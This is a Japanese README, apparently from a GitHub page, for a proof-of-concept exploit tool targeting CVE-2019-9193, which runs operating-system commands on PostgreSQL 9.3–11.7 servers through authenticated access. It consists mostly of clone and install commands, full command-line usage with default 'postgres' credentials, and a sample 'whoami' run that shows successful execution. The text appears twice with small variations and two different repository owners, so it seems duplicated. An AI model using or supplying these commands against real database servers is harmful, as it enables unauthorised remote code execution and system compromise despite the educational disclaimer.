
特定のPostgreSQLバージョン(9.3~11.7)における認証済みリモートコード実行(RCE)脆弱性を悪用するために設計されたPoCツール
GenPostgresRCEExploit は、PostgreSQL の特定のバージョン(9.3 - 11.7)に存在する認証済みリモートコード実行(RCE)脆弱性を悪用するために設計された PoC ツールです。認証済みユーザーが、CVE-2019-9193 の影響を受ける PostgreSQL データベースサーバー上でシステムコマンドを実行できるようにします。
psycopg2)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: PostgreSQL サーバーの IP アドレス (デフォルト: 127.0.0.1)-p, --port: PostgreSQL サーバーのポート (デフォルト: 5432)-d, --database: PostgreSQL データベース名 (デフォルト: template1)-U, --user: PostgreSQL サーバーに接続するユーザー名 (デフォルト: postgres)-P, --password: PostgreSQL サーバーに接続するためのパスワード (デフォルト: postgres)-c, ---command: サーバー上で実行するシステムコマンド-t, --timeout: 接続タイムアウト (秒) (デフォルト: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
この例は 192.168.1.10 の PostgreSQL サーバーに接続し、指定された認証情報で認証して whoami コマンドを実行します。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
このツールは教育目的および倫理的テストのみを目的としています。本ツールをいかなるシステムに対しても無断で使用することは違法であり、固く禁止されています。作者は不正使用について一切の責任を負いません。
GenPostgresRCEExploit は、PostgreSQL の特定のバージョン(9.3 - 11.7)におけるリモートコード実行(RCE)脆弱性を悪用するために設計された PoC エクスプロイトです。このプログラムは、CVE-2019-9193 に対して脆弱な PostgreSQL サーバー上で、認証済みユーザーがシステムコマンドを実行できるようにします。
psycopg2 パッケージ)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: PostgreSQL サーバーの IP アドレス (デフォルト: 127.0.0.1)-p, --port: PostgreSQL サーバーのポート (デフォルト: 5432)-d, --database: PostgreSQL データベース名 (デフォルト: template1)-U, --user: PostgreSQL サーバーに接続するユーザー名 (デフォルト: postgres)-P, --password: PostgreSQL サーバーに接続するためのパスワード (デフォルト: postgres)-c, --command: サーバー上で実行するシステムコマンド-t, --timeout: 接続タイムアウト (秒) (デフォルト: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
この例では、プログラムは 192.168.1.10 の PostgreSQL サーバーに接続し、指定された認証情報で認証を行い、whoami コマンドを実行します。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
本ツールは教育目的および合法的なテストのみを目的としています。本ツールをいかなるシステムに対しても無断で使用することは違法であり、固く禁止されています。作者は、いかなる不正使用についても責任を負いません。